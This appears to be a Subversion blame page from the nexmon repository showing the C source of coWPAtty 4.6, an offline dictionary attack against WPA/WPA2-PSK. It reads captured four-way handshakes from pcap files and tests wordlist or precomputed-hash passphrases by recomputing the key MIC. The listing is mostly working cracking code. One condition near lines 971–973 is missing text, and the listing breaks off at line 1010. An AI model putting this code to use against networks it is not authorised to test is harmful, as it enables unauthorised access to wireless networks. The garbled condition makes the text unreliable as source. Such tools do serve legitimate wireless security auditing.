nexmon – Blame information for rev 1

Subversion Repositories:
Rev:
Rev Author Line No. Line
1 office 1 /*
2 * coWPAtty - Brute-force dictionary attack against WPA-PSK.
3 *
4 * Copyright (c) 2004-2009, Joshua Wright <jwright@hasborg.com>
5 *
6 * $Id: cowpatty.c 264 2009-07-03 15:15:50Z jwright $
7 *
8 * This program is free software; you can redistribute it and/or modify
9 * it under the terms of the GNU General Public License version 2 as
10 * published by the Free Software Foundation. See COPYING for more
11 * details.
12 *
13 * coWPAtty is distributed in the hope that it will be useful,
14 * but WITHOUT ANY WARRANTY; without even the implied warranty of
15 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 * GNU General Public License for more details.
17 */
18  
19 /*
20 * Significant code is graciously taken from the following:
21 * wpa_supplicant by Jouni Malinen. This tool would have been MUCH more
22 * difficult for me if not for this code. Thanks Jouni.
23 */
24  
25 /*
26 * Right off the bat, this code isn't very useful. The PBKDF2 function makes
27 * 4096 SHA-1 passes for each passphrase, which takes quite a bit of time. On
28 * my Pentium II development system, I'm getting ~2.5 passphrases/second.
29 * I've done my best to optimize the PBKDF2 function, but it's still pretty
30 * slow.
31 */
32  
33 #define PROGNAME "cowpatty"
34 #define VER "4.6"
35 #define MAXPASSPHRASE 256
36 #define DOT1X_LLCTYPE "\x88\x8e"
37  
38 #include <stdlib.h>
39 #include <stdio.h>
40 #include <string.h>
41 #include <sys/stat.h>
42 #include <unistd.h>
43 #include <pcap.h>
44 #include <signal.h>
45 #include <sys/types.h>
46 #include <fcntl.h>
47  
48 #include "cowpatty.h"
49 #include "common.h"
50 #include "utils.h"
51 #include "sha1.h"
52 #include "md5.h"
53 #include "radiotap.h"
54  
55 /* Globals */
56 pcap_t *p = NULL;
57 unsigned char *packet;
58 struct pcap_pkthdr *h;
59 char errbuf[PCAP_ERRBUF_SIZE];
60 int sig = 0; /* Used for handling signals */
61 char *words;
62 /* temporary storage for the password from the hash record, instead of
63 malloc/free for each entry. */
64 char password_buf[65];
65 unsigned long wordstested = 0;
66  
67 /* Prototypes */
68 void wpa_pmk_to_ptk(u8 * pmk, u8 * addr1, u8 * addr2,
69 u8 * nonce1, u8 * nonce2, u8 * ptk, size_t ptk_len);
70 void hexdump(unsigned char *data, int len);
71 void usage(char *message);
72 void testopts(struct user_opt *opt);
73 void cleanup();
74 void parseopts(struct user_opt *opt, int argc, char **argv);
75 void closepcap(struct capture_data *capdata);
76 void handle_dot1x(struct crack_data *cdata, struct capture_data *capdata,
77 struct user_opt *opt);
78 void dump_all_fields(struct crack_data cdata, struct user_opt *opt);
79 void printstats(struct timeval start, struct timeval end,
80 unsigned long int wordcount);
81 int nextdictword(char *word, FILE * fp);
82 int nexthashrec(FILE * fp, struct hashdb_rec *rec);
83  
84 void usage(char *message)
85 {
86  
87 if (strlen(message) > 0) {
88 printf("%s: %s\n", PROGNAME, message);
89 }
90  
91 printf("\nUsage: %s [options]\n", PROGNAME);
92 printf("\n"
93 "\t-f \tDictionary file\n"
94 "\t-d \tHash file (genpmk)\n"
95 "\t-r \tPacket capture file\n"
96 "\t-s \tNetwork SSID (enclose in quotes if SSID includes spaces)\n"
97 "\t-2 \tUse frames 1 and 2 or 2 and 3 for key attack (nonstrict mode)\n"
98 "\t-c \tCheck for valid 4-way frames, does not crack\n"
99 "\t-h \tPrint this help information and exit\n"
100 "\t-v \tPrint verbose information (more -v for more verbosity)\n"
101 "\t-V \tPrint program version and exit\n" "\n");
102 }
103  
104 void cleanup()
105 {
106 /* lame-o-meter++ */
107 sig = 1;
108 }
109  
110 void wpa_pmk_to_ptk(u8 * pmk, u8 * addr1, u8 * addr2,
111 u8 * nonce1, u8 * nonce2, u8 * ptk, size_t ptk_len)
112 {
113 u8 data[2 * ETH_ALEN + 2 * 32];
114  
115 memset(&data, 0, sizeof(data));
116  
117 /* PTK = PRF-X(PMK, "Pairwise key expansion",
118 * Min(AA, SA) || Max(AA, SA) ||
119 * Min(ANonce, SNonce) || Max(ANonce, SNonce)) */
120  
121 if (memcmp(addr1, addr2, ETH_ALEN) < 0) {
122 memcpy(data, addr1, ETH_ALEN);
123 memcpy(data + ETH_ALEN, addr2, ETH_ALEN);
124 } else {
125 memcpy(data, addr2, ETH_ALEN);
126 memcpy(data + ETH_ALEN, addr1, ETH_ALEN);
127 }
128  
129 if (memcmp(nonce1, nonce2, 32) < 0) {
130 memcpy(data + 2 * ETH_ALEN, nonce1, 32);
131 memcpy(data + 2 * ETH_ALEN + 32, nonce2, 32);
132 } else {
133 memcpy(data + 2 * ETH_ALEN, nonce2, 32);
134 memcpy(data + 2 * ETH_ALEN + 32, nonce1, 32);
135 }
136  
137 sha1_prf(pmk, 32, "Pairwise key expansion", data, sizeof(data),
138 ptk, ptk_len);
139 }
140  
141 void hexdump(unsigned char *data, int len)
142 {
143 int i;
144 for (i = 0; i < len; i++) {
145 printf("%02x ", data[i]);
146 }
147 }
148  
149 void parseopts(struct user_opt *opt, int argc, char **argv)
150 {
151  
152 int c;
153  
154 while ((c = getopt(argc, argv, "f:r:s:d:c2nhvV")) != EOF) {
155 switch (c) {
156 case 'f':
157 strncpy(opt->dictfile, optarg, sizeof(opt->dictfile));
158 break;
159 case 'r':
160 strncpy(opt->pcapfile, optarg, sizeof(opt->pcapfile));
161 break;
162 case 's':
163 strncpy(opt->ssid, optarg, sizeof(opt->ssid));
164 break;
165 case 'd':
166 strncpy(opt->hashfile, optarg, sizeof(opt->hashfile));
167 break;
168 case 'n':
169 case '2':
170 opt->nonstrict++;
171 break;
172 case 'c':
173 opt->checkonly++;
174 break;
175 case 'h':
176 usage("");
177 exit(0);
178 break;
179 case 'v':
180 opt->verbose++;
181 break;
182 case 'V':
183 printf
184 ("$Id: cowpatty.c 264 2009-07-03 15:15:50Z jwright $\n");
185 exit(0);
186 break;
187 default:
188 usage("");
189 exit(-1);
190 }
191 }
192 }
193  
194 void testopts(struct user_opt *opt)
195 {
196 struct stat teststat;
197  
198 /* Test for a pcap file */
199 if (IsBlank(opt->pcapfile)) {
200 usage("Must supply a pcap file with -r");
201 exit(-1);
202 }
203  
204 if (opt->checkonly == 1) {
205 /* Special case where we only need pcap file */
206 return;
207 }
208  
209 /* test for required parameters */
210 if (IsBlank(opt->dictfile) && IsBlank(opt->hashfile)) {
211 usage("Must supply a list of passphrases in a file with -f "
212 "or a hash file\n\t with -d. "
213 "Use \"-f -\" to accept words on stdin.");
214 exit(-1);
215 }
216  
217 if (IsBlank(opt->ssid)) {
218 usage("Must supply the SSID for the network with -s");
219 exit(-1);
220 }
221  
222 /* Test that the files specified exist and are greater than 0 bytes */
223 if (!IsBlank(opt->hashfile) && strncmp(opt->hashfile, "-", 1) != 0) {
224 if (stat(opt->hashfile, &teststat)) {
225 usage("Could not stat hashfile. Check file path.");
226 exit(-1);
227 } else if (teststat.st_size == 0) {
228 usage("Empty hashfile (0 bytes). Check file contents.");
229 exit(-1);
230 }
231 }
232  
233 if (!IsBlank(opt->dictfile) && strncmp(opt->dictfile, "-", 1) != 0) {
234 if (stat(opt->dictfile, &teststat)) {
235 usage
236 ("Could not stat the dictionary file. Check file path.");
237 exit(-1);
238 } else if (teststat.st_size == 0) {
239 usage
240 ("Empty dictionary file (0 bytes). Check file contents.");
241 exit(-1);
242 }
243 }
244  
245 if (stat(opt->pcapfile, &teststat) && strncmp(opt->hashfile, "-", 1) != 0) {
246 usage("Could not stat the pcap file. Check file path.");
247 exit(-1);
248 } else if (teststat.st_size == 0) {
249 usage("Empty pcap file (0 bytes). Check file contents.");
250 exit(-1);
251 }
252 }
253  
254 int openpcap(struct capture_data *capdata)
255 {
256  
257 /* Assume for now it's a libpcap file */
258 p = pcap_open_offline(capdata->pcapfilename, errbuf);
259 if (p == NULL) {
260 perror("Unable to open capture file");
261 return (-1);
262 }
263  
264 /* Determine link type */
265 capdata->pcaptype = pcap_datalink(p);
266  
267 /* Determine offset to EAP frame based on link type */
268 switch (capdata->pcaptype) {
269 case DLT_NULL:
270 case DLT_EN10MB:
271 case DLT_IEEE802_11:
272 case DLT_PRISM_HEADER:
273 case DLT_IEEE802_11_RADIO:
274 break;
275 default:
276 /* Unknown/unsupported pcap type */
277 return (1);
278 }
279  
280 return (0);
281 }
282  
283 void closepcap(struct capture_data *capdata)
284 {
285  
286 /* Assume it's a libpcap file for now */
287 pcap_close(p);
288 }
289  
290 /* Populates global *packet, returns status */
291 int getpacket(struct capture_data *capdata)
292 {
293 /* Assume it's a libpcap file for now */
294 int ret;
295 struct ieee80211_radiotap_header *rtaphdr;
296 int rtaphdrlen=0;
297 struct dot11hdr *dot11 = NULL;
298  
299 /* Loop on pcap_next_ex until we get a packet we want, return from
300 * this while loop. This is kinda hack.
301 */
302 while ((ret = pcap_next_ex(p, &h, (const u_char **)&packet))
303 && ret > 0) {
304  
305 /* Determine offset to EAP frame based on link type */
306 switch (capdata->pcaptype) {
307 case DLT_NULL:
308 case DLT_EN10MB:
309 /* Standard ethernet header */
310 capdata->dot1x_offset = 14;
311 capdata->l2type_offset = 12;
312 capdata->dstmac_offset = 0;
313 capdata->srcmac_offset = 6;
314 return(ret);
315 break;
316  
317 case DLT_IEEE802_11:
318 /* If this is not a data packet, get the next frame */
319 dot11 = (struct dot11hdr *)packet;
320 if (dot11->u1.fc.type != DOT11_FC_TYPE_DATA) {
321 continue;
322 }
323  
324 capdata->dstmac_offset = 4;
325 capdata->srcmac_offset = 10;
326  
327 /* differentiate QoS data and non-QoS data frames */
328 if (dot11->u1.fc.subtype == DOT11_FC_SUBTYPE_QOSDATA) {
329 /* 26 bytes 802.11 header, 8 for 802.2 header */
330 capdata->dot1x_offset = 34;
331 capdata->l2type_offset = 32;
332 } else if (dot11->u1.fc.subtype == DOT11_FC_SUBTYPE_DATA) {
333 /* 24 bytes 802.11 header, 8 for 802.2 header */
334 capdata->dot1x_offset = 32;
335 capdata->l2type_offset = 30;
336 } else {
337 /* Not a data frame we support */
338 continue;
339 }
340 return(ret);
341 break;
342  
343 case DLT_PRISM_HEADER:
344 /* 802.11 frames with AVS header, AVS header is 144
345 * bytes */
346  
347 /* If this is not a data packet, get the next frame */
348 dot11 = ((struct dot11hdr *)(packet+144));
349 if (dot11->u1.fc.type != DOT11_FC_TYPE_DATA) {
350 continue;
351 }
352 capdata->dstmac_offset = 4 + 144;
353 capdata->srcmac_offset = 10 + 144;
354  
355 /* differentiate QoS data and non-QoS data frames */
356 if (dot11->u1.fc.subtype == DOT11_FC_SUBTYPE_QOSDATA) {
357 capdata->dot1x_offset = 34 + 144;
358 capdata->l2type_offset = 32 + 144;
359 } else if (dot11->u1.fc.subtype == DOT11_FC_SUBTYPE_DATA) {
360 capdata->dot1x_offset = 32 + 144;
361 capdata->l2type_offset = 30 + 144;
362 } else {
363 /* Not a data frame we support */
364 continue;
365 }
366 return(ret);
367 break;
368  
369 case DLT_IEEE802_11_RADIO:
370 /* Radiotap header, need to calculate offset to payload
371 on a per-packet basis.
372 */
373 rtaphdr = (struct ieee80211_radiotap_header *)packet;
374 /* rtap is LE */
375 rtaphdrlen = le16_to_cpu(rtaphdr->it_len);
376  
377 /* Sanity check on header length, 10 bytes is min
378 802.11 len */
379 if (rtaphdrlen > (h->len - 10)) {
380 return -2; /* Bad radiotap data */
381 }
382  
383 capdata->dstmac_offset = 4 + rtaphdrlen;
384 capdata->srcmac_offset = 10 + rtaphdrlen;
385  
386 dot11 = ((struct dot11hdr *)(packet+rtaphdrlen));
387 /* differentiate QoS data and non-QoS data frames */
388 if (dot11->u1.fc.subtype == DOT11_FC_SUBTYPE_QOSDATA) {
389 capdata->dot1x_offset = 34 + rtaphdrlen;
390 capdata->l2type_offset = 32 + rtaphdrlen;
391 } else if (dot11->u1.fc.subtype ==
392 DOT11_FC_SUBTYPE_DATA) {
393 capdata->dot1x_offset = 32 + rtaphdrlen;
394 capdata->l2type_offset = 30 + rtaphdrlen;
395 } else {
396 /* Not a data frame we support */
397 continue;
398 }
399 return(ret);
400 break;
401  
402 default:
403 /* Unknown/unsupported pcap type */
404 return (1);
405 }
406 }
407  
408 return (ret);
409 }
410  
411 void handle_dot1x(struct crack_data *cdata, struct capture_data *capdata,
412 struct user_opt *opt)
413 {
414 struct ieee8021x *dot1xhdr;
415 struct wpa_eapol_key *eapolkeyhdr;
416 int eapolkeyoffset;
417 int key_info, index;
418  
419 /* We're going after the last three frames in the 4-way handshake.
420 In the last frame of the TKIP exchange, the authenticator nonce is
421 omitted. In cases where there is a unicast and a multicast key
422 distributed, frame 4 will include the authenticator nonce. In some
423 cases however, there is no multicast key distribution, so frame 4 has
424 no authenticator nonce. For this reason, we need to capture information
425 from the 2nd, 3rd and 4th frames to accommodate cases where there is no
426 multicast key delivery. Suckage.
427 */
428  
429 dot1xhdr = (struct ieee8021x *)&packet[capdata->dot1x_offset];
430 eapolkeyoffset = capdata->dot1x_offset + sizeof(struct ieee8021x);
431 eapolkeyhdr = (struct wpa_eapol_key *)&packet[eapolkeyoffset];
432  
433 /* Bitwise fields in the key_info field of the EAPOL-Key header */
434 key_info = be_to_host16(eapolkeyhdr->key_info);
435 cdata->ver = key_info & WPA_KEY_INFO_TYPE_MASK;
436 index = key_info & WPA_KEY_INFO_KEY_INDEX_MASK;
437  
438 if (opt->nonstrict == 0) {
439  
440 /* Check for EAPOL version 1, type EAPOL-Key */
441 if (dot1xhdr->version != 1 || dot1xhdr->type != 3) {
442 return;
443 }
444  
445 } else {
446  
447 /* Check for type EAPOL-Key */
448 if (dot1xhdr->type != 3) {
449 return;
450 }
451  
452 }
453 if (cdata->ver != WPA_KEY_INFO_TYPE_HMAC_MD5_RC4 &&
454 cdata->ver != WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) {
455 return;
456 }
457  
458 if (cdata->ver == WPA_KEY_INFO_TYPE_HMAC_MD5_RC4) {
459 /* Check for WPA key, and pairwise key type */
460 if (eapolkeyhdr->type != 254 ||
461 (key_info & WPA_KEY_INFO_KEY_TYPE) == 0) {
462 return;
463 }
464 } else if (cdata->ver == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) {
465 if (eapolkeyhdr->type != 2 ||
466 (key_info & WPA_KEY_INFO_KEY_TYPE) == 0) {
467 return;
468 }
469 }
470  
471 if (opt->nonstrict == 0) {
472  
473 /* Check for frame 2 of the 4-way handshake */
474 if ((key_info & WPA_KEY_INFO_MIC)
475 && (key_info & WPA_KEY_INFO_ACK) == 0
476 && (key_info & WPA_KEY_INFO_INSTALL) == 0
477 && eapolkeyhdr->key_data_length > 0) {
478  
479 /* All we need from this frame is the authenticator nonce */
480 memcpy(cdata->snonce, eapolkeyhdr->key_nonce,
481 sizeof(cdata->snonce));
482 cdata->snonceset = 1;
483  
484 /* Check for frame 3 of the 4-way handshake */
485 } else if ((key_info & WPA_KEY_INFO_MIC)
486 && (key_info & WPA_KEY_INFO_INSTALL)
487 && (key_info & WPA_KEY_INFO_ACK)) {
488  
489 memcpy(cdata->spa, &packet[capdata->dstmac_offset],
490 sizeof(cdata->spa));
491 memcpy(cdata->aa, &packet[capdata->srcmac_offset],
492 sizeof(cdata->aa));
493 memcpy(cdata->anonce, eapolkeyhdr->key_nonce,
494 sizeof(cdata->anonce));
495 cdata->aaset = 1;
496 cdata->spaset = 1;
497 cdata->anonceset = 1;
498 /* We save the replay counter value in the 3rd frame to match
499 against the 4th frame of the four-way handshake */
500 memcpy(cdata->replay_counter,
501 eapolkeyhdr->replay_counter, 8);
502  
503 /* Check for frame 4 of the four-way handshake */
504 } else if ((key_info & WPA_KEY_INFO_MIC)
505 && (key_info & WPA_KEY_INFO_ACK) == 0
506 && (key_info & WPA_KEY_INFO_INSTALL) == 0
507 && (memcmp (cdata->replay_counter,
508 eapolkeyhdr->replay_counter, 8) == 0)) {
509  
510 memcpy(cdata->keymic, eapolkeyhdr->key_mic,
511 sizeof(cdata->keymic));
512 memcpy(cdata->eapolframe, &packet[capdata->dot1x_offset],
513 sizeof(cdata->eapolframe));
514 cdata->keymicset = 1;
515 cdata->eapolframeset = 1;
516 }
517 } else {
518  
519 /* Check for frame 1 of the 4-way handshake */
520 if ((key_info & WPA_KEY_INFO_MIC) == 0
521 && (key_info & WPA_KEY_INFO_ACK)
522 && (key_info & WPA_KEY_INFO_INSTALL) == 0 ) {
523 /* All we need from this frame is the authenticator nonce */
524 memcpy(cdata->anonce, eapolkeyhdr->key_nonce,
525 sizeof(cdata->anonce));
526 cdata->anonceset = 1;
527  
528 /* Check for frame 2 of the 4-way handshake */
529 } else if ((key_info & WPA_KEY_INFO_MIC)
530 && (key_info & WPA_KEY_INFO_INSTALL) == 0
531 && (key_info & WPA_KEY_INFO_ACK) == 0
532 && eapolkeyhdr->key_data_length > 0) {
533  
534 cdata->eapolframe_size = ( packet[capdata->dot1x_offset + 2] << 8 )
535 + packet[capdata->dot1x_offset + 3] + 4;
536  
537 memcpy(cdata->spa, &packet[capdata->dstmac_offset],
538 sizeof(cdata->spa));
539 cdata->spaset = 1;
540  
541 memcpy(cdata->aa, &packet[capdata->srcmac_offset],
542 sizeof(cdata->aa));
543 cdata->aaset = 1;
544  
545 memcpy(cdata->snonce, eapolkeyhdr->key_nonce,
546 sizeof(cdata->snonce));
547 cdata->snonceset = 1;
548  
549 memcpy(cdata->keymic, eapolkeyhdr->key_mic,
550 sizeof(cdata->keymic));
551 cdata->keymicset = 1;
552  
553 memcpy(cdata->eapolframe, &packet[capdata->dot1x_offset],
554 cdata->eapolframe_size);
555 cdata->eapolframeset = 1;
556  
557  
558 /* Check for frame 3 of the 4-way handshake */
559 } else if ((key_info & WPA_KEY_INFO_MIC)
560 && (key_info & WPA_KEY_INFO_ACK)
561 && (key_info & WPA_KEY_INFO_INSTALL)) {
562 /* All we need from this frame is the authenticator nonce */
563 memcpy(cdata->anonce, eapolkeyhdr->key_nonce,
564 sizeof(cdata->anonce));
565 cdata->anonceset = 1;
566 }
567 }
568 }
569  
570 void dump_all_fields(struct crack_data cdata, struct user_opt *opt)
571 {
572  
573 printf("AA is:");
574 lamont_hdump(cdata.aa, 6);
575 printf("\n");
576  
577 printf("SPA is:");
578 lamont_hdump(cdata.spa, 6);
579 printf("\n");
580  
581 printf("snonce is:");
582 lamont_hdump(cdata.snonce, 32);
583 printf("\n");
584  
585 printf("anonce is:");
586 lamont_hdump(cdata.anonce, 32);
587 printf("\n");
588  
589 printf("keymic is:");
590 lamont_hdump(cdata.keymic, 16);
591 printf("\n");
592  
593 printf("eapolframe is:");
594 if (opt->nonstrict == 0) {
595 lamont_hdump(cdata.eapolframe, 99);
596 } else {
597 lamont_hdump(cdata.eapolframe, 125);
598 }
599  
600 printf("\n");
601  
602 }
603  
604 void printstats(struct timeval start, struct timeval end,
605 unsigned long int wordcount)
606 {
607  
608 float elapsed = 0;
609  
610 if (end.tv_usec < start.tv_usec) {
611 end.tv_sec -= 1;
612 end.tv_usec += 1000000;
613 }
614 end.tv_sec -= start.tv_sec;
615 end.tv_usec -= start.tv_usec;
616 elapsed = end.tv_sec + end.tv_usec / 1000000.0;
617  
618 printf("\n%lu passphrases tested in %.2f seconds: %.2f passphrases/"
619 "second\n", wordcount, elapsed, wordcount / elapsed);
620 }
621  
622 int nexthashrec(FILE * fp, struct hashdb_rec *rec)
623 {
624  
625 int recordlength, wordlen;
626  
627 if (fread(&rec->rec_size, sizeof(rec->rec_size), 1, fp) != 1) {
628  
629 perror("fread");
630 return -1;
631 }
632  
633 recordlength = abs(rec->rec_size);
634 wordlen = recordlength - (sizeof(rec->pmk) + sizeof(rec->rec_size));
635  
636 if (wordlen > 63 || wordlen < 8) {
637 fprintf(stderr, "Invalid word length: %d\n", wordlen);
638 return -1;
639 }
640  
641 /* hackity, hack, hack, hack */
642 rec->word = password_buf;
643  
644 if (fread(rec->word, wordlen, 1, fp) != 1) {
645 perror("fread");
646 return -1;
647 }
648  
649 if (fread(rec->pmk, sizeof(rec->pmk), 1, fp) != 1) {
650 perror("fread");
651 return -1;
652 }
653  
654 return recordlength;
655 }
656  
657 int nextdictword(char *word, FILE * fp)
658 {
659  
660 if (fgets(word, MAXPASSLEN + 1, fp) == NULL) {
661 return (-1);
662 }
663  
664 /* Remove newline */
665 word[strlen(word) - 1] = '\0';
666  
667 if (feof(fp)) {
668 return (-1);
669 }
670  
671 return (strlen(word));
672 }
673  
674 void hmac_hash(int ver, u8 *key, int hashlen, u8 *buf, int buflen, u8 *mic)
675 {
676 u8 hash[SHA1_MAC_LEN];
677  
678 if (ver == WPA_KEY_INFO_TYPE_HMAC_MD5_RC4) {
679 hmac_md5(key, hashlen, buf, buflen, mic);
680 } else if (ver == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) {
681 hmac_sha1(key, hashlen, buf, buflen, hash, NOCACHED);
682 memcpy(mic, hash, MD5_DIGEST_LENGTH); /* only 16 bytes, not 20 */
683 }
684 }
685  
686 int hashfile_attack(struct user_opt *opt, char *passphrase,
687 struct crack_data *cdata)
688 {
689  
690 FILE *fp;
691 int reclen, wordlen;
692 u8 pmk[32];
693 u8 ptk[64];
694 u8 keymic[16];
695 struct wpa_ptk *ptkset;
696 struct hashdb_rec rec;
697 struct hashdb_head hf_head;
698 char headerssid[33];
699  
700 /* Open the hash file */
701 if (*opt->hashfile == '-') {
702 printf("Using STDIN for hashfile contents.\n");
703 fp = stdin;
704 } else {
705 fp = fopen(opt->hashfile, "rb");
706 if (fp == NULL) {
707 perror("fopen");
708 return(-1);
709 }
710 }
711  
712 /* Read the record header contents */
713 if (fread(&hf_head, sizeof(hf_head), 1, fp) != 1) {
714 perror("fread");
715 return(-1);
716 }
717  
718 /* Ensure selected SSID matches what's stored in the header record */
719 if (memcmp(hf_head.ssid, opt->ssid, hf_head.ssidlen) != 0) {
720  
721 memcpy(&headerssid, hf_head.ssid, hf_head.ssidlen);
722 headerssid[hf_head.ssidlen] = 0; /* NULL terminate string */
723  
724 fprintf(stderr, "\nSSID in hashfile (\"%s\") does not match "
725 "SSID specified on the \n"
726 "command line (\"%s\"). You cannot "
727 "mix and match SSID's for this\nattack.\n\n",
728 headerssid, opt->ssid);
729 return(-1);
730 }
731  
732  
733 while (feof(fp) == 0 && sig == 0) {
734  
735 /* Populate the hashdb_rec with the next record */
736 reclen = nexthashrec(fp, &rec);
737  
738 /* nexthashrec returns the length of the record, test to ensure
739 passphrase is greater than 8 characters */
740 wordlen = rec.rec_size -
741 (sizeof(rec.pmk) + sizeof(rec.rec_size));
742 if (wordlen < 8) {
743 printf("Found a record that was too short, this "
744 "shouldn't happen in practice!\n");
745 return(-1);
746 }
747  
748 /* Populate passphrase with the record contents */
749 memcpy(passphrase, rec.word, wordlen);
750  
751 /* NULL terminate passphrase string */
752 passphrase[wordlen] = 0;
753  
754 if (opt->verbose > 1) {
755 printf("Testing passphrase: %s\n", passphrase);
756 }
757  
758 /* Increment the words tested counter */
759 wordstested++;
760  
761 /* Status display */
762 if ((wordstested % 10000) == 0) {
763 printf("key no. %ld: %s\n", wordstested, passphrase);
764 fflush(stdout);
765 }
766  
767 if (opt->verbose > 1) {
768 printf("Calculating PTK for \"%s\".\n", passphrase);
769 }
770  
771 if (opt->verbose > 2) {
772 printf("PMK is");
773 lamont_hdump(pmk, sizeof(pmk));
774 }
775  
776 if (opt->verbose > 1) {
777 printf("Calculating PTK with collected data and "
778 "PMK.\n");
779 }
780  
781 wpa_pmk_to_ptk(rec.pmk, cdata->aa, cdata->spa, cdata->anonce,
782 cdata->snonce, ptk, sizeof(ptk));
783  
784 if (opt->verbose > 2) {
785 printf("Calculated PTK for \"%s\" is", passphrase);
786 lamont_hdump(ptk, sizeof(ptk));
787 }
788  
789 ptkset = (struct wpa_ptk *)ptk;
790  
791 if (opt->verbose > 1) {
792 printf("Calculating hmac-MD5 Key MIC for this "
793 "frame.\n");
794 }
795  
796 if (opt->nonstrict == 0) {
797 hmac_hash(cdata->ver, ptkset->mic_key, 16, cdata->eapolframe,
798 sizeof(cdata->eapolframe), keymic);
799 } else {
800 hmac_hash(cdata->ver, ptkset->mic_key, 16, cdata->eapolframe,
801 cdata->eapolframe_size, keymic);
802 }
803  
804 if (opt->verbose > 2) {
805 printf("Calculated MIC with \"%s\" is", passphrase);
806 lamont_hdump(keymic, sizeof(keymic));
807 }
808  
809 if (memcmp(&cdata->keymic, &keymic, sizeof(keymic)) == 0) {
810 return 0;
811 } else {
812 continue;
813 }
814 }
815  
816 return 1;
817 }
818  
819 int dictfile_attack(struct user_opt *opt, char *passphrase,
820 struct crack_data *cdata)
821 {
822  
823 FILE *fp;
824 int fret;
825 u8 pmk[32];
826 u8 ptk[64];
827 u8 keymic[16];
828 struct wpa_ptk *ptkset;
829  
830 /* Open the dictionary file */
831 if (*opt->dictfile == '-') {
832 printf("Using STDIN for words.\n");
833 fp = stdin;
834 } else {
835 fp = fopen(opt->dictfile, "r");
836 if (fp == NULL) {
837 perror("fopen");
838 exit(-1);
839 }
840 }
841  
842  
843 while (feof(fp) == 0 && sig == 0) {
844  
845 /* Populate "passphrase" with the next word */
846 fret = nextdictword(passphrase, fp);
847 if (fret < 0) {
848 break;
849 }
850  
851 if (opt->verbose > 1) {
852 printf("Testing passphrase: %s\n", passphrase);
853 }
854  
855 /*
856 * Test length of word. IEEE 802.11i indicates the passphrase
857 * must be at least 8 characters in length, and no more than 63
858 * characters in length.
859 */
860 if (fret < 8 || fret > 63) {
861 if (opt->verbose) {
862 printf("Invalid passphrase length: %s (%u).\n",
863 passphrase, strlen(passphrase));
864 }
865 continue;
866 } else {
867 /* This word is good, increment the words tested
868 counter */
869 wordstested++;
870 }
871  
872 /* Status display */
873 if ((wordstested % 1000) == 0) {
874 printf("key no. %ld: %s\n", wordstested, passphrase);
875 fflush(stdout);
876 }
877  
878 if (opt->verbose > 1) {
879 printf("Calculating PMK for \"%s\".\n", passphrase);
880 }
881  
882 pbkdf2_sha1(passphrase, opt->ssid, strlen(opt->ssid), 4096,
883 pmk, sizeof(pmk), USECACHED);
884  
885 if (opt->verbose > 2) {
886 printf("PMK is");
887 lamont_hdump(pmk, sizeof(pmk));
888 }
889  
890 if (opt->verbose > 1) {
891 printf("Calculating PTK with collected data and "
892 "PMK.\n");
893 }
894  
895 wpa_pmk_to_ptk(pmk, cdata->aa, cdata->spa, cdata->anonce,
896 cdata->snonce, ptk, sizeof(ptk));
897  
898 if (opt->verbose > 2) {
899 printf("Calculated PTK for \"%s\" is", passphrase);
900 lamont_hdump(ptk, sizeof(ptk));
901 }
902  
903 ptkset = (struct wpa_ptk *)ptk;
904  
905 if (opt->verbose > 1) {
906 printf("Calculating hmac-MD5 Key MIC for this "
907 "frame.\n");
908 }
909  
910 if (opt->nonstrict == 0) {
911 hmac_hash(cdata->ver, ptkset->mic_key, 16, cdata->eapolframe,
912 sizeof(cdata->eapolframe), keymic);
913 } else {
914 hmac_hash(cdata->ver, ptkset->mic_key, 16, cdata->eapolframe,
915 cdata->eapolframe_size, keymic);
916 }
917  
918 if (opt->verbose > 2) {
919 printf("Calculated MIC with \"%s\" is", passphrase);
920 lamont_hdump(keymic, sizeof(keymic));
921 }
922  
923 if (memcmp(&cdata->keymic, &keymic, sizeof(keymic)) == 0) {
924 return 0;
925 } else {
926 continue;
927 }
928 }
929  
930 return 1;
931 }
932  
933 int main(int argc, char **argv)
934 {
935 struct user_opt opt;
936 struct crack_data cdata;
937 struct capture_data capdata;
938 struct wpa_eapol_key *eapkeypacket;
939 u8 eapolkey_nomic[99];
940 struct timeval start, end;
941 int ret;
942 char passphrase[MAXPASSLEN + 1];
943  
944 printf("%s %s - WPA-PSK dictionary attack. <jwright@hasborg.com>\n",
945 PROGNAME, VER);
946  
947 memset(&opt, 0, sizeof(struct user_opt));
948 memset(&capdata, 0, sizeof(struct capture_data));
949 memset(&cdata, 0, sizeof(struct crack_data));
950 memset(&eapolkey_nomic, 0, sizeof(eapolkey_nomic));
951  
952 /* Collect and test command-line arguments */
953 parseopts(&opt, argc, argv);
954 testopts(&opt);
955 printf("\n");
956  
957 /* Populate capdata struct */
958 strncpy(capdata.pcapfilename, opt.pcapfile,
959 sizeof(capdata.pcapfilename));
960 if (openpcap(&capdata) != 0) {
961 printf("Unsupported or unrecognized pcap file.\n");
962 exit(-1);
963 }
964  
965 /* populates global *packet */
966 while (getpacket(&capdata) > 0) {
967 if (opt.verbose > 2) {
968 lamont_hdump(packet, h->len);
969 }
970 /* test packet for data that we are looking for */
971 if (memcmp(&packet[capdata.l2type_offset], DOT1X_LLCTYPE, 2) ==
972  
973 capdata.l2type_offset + sizeof(struct wpa_eapol_key))) {
974 /* It's a dot1x frame, process it */
975 handle_dot1x(&cdata, &capdata, &opt);
976 if (cdata.aaset && cdata.spaset && cdata.snonceset &&
977 cdata.anonceset && cdata.keymicset
978 && cdata.eapolframeset) {
979 /* We've collected everything we need. */
980 break;
981 }
982 }
983 }
984  
985 closepcap(&capdata);
986  
987 if (!(cdata.aaset && cdata.spaset && cdata.snonceset &&
988 cdata.anonceset && cdata.keymicset && cdata.eapolframeset)) {
989 printf("End of pcap capture file, incomplete four-way handshake "
990 "exchange. Try using a\ndifferent capture.\n");
991 exit(-1);
992 } else {
993 if (cdata.ver == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) {
994 printf("Collected all necessary data to mount crack"
995 " against WPA2/PSK passphrase.\n");
996 } else if (cdata.ver == WPA_KEY_INFO_TYPE_HMAC_MD5_RC4) {
997 printf("Collected all necessary data to mount crack"
998 " against WPA/PSK passphrase.\n");
999 }
1000 }
1001  
1002 if (opt.verbose > 1) {
1003 dump_all_fields(cdata, &opt);
1004 }
1005  
1006 if (opt.checkonly) {
1007 /* Don't attack the PSK, just return non-error return code */
1008 return 0;
1009 }
1010  
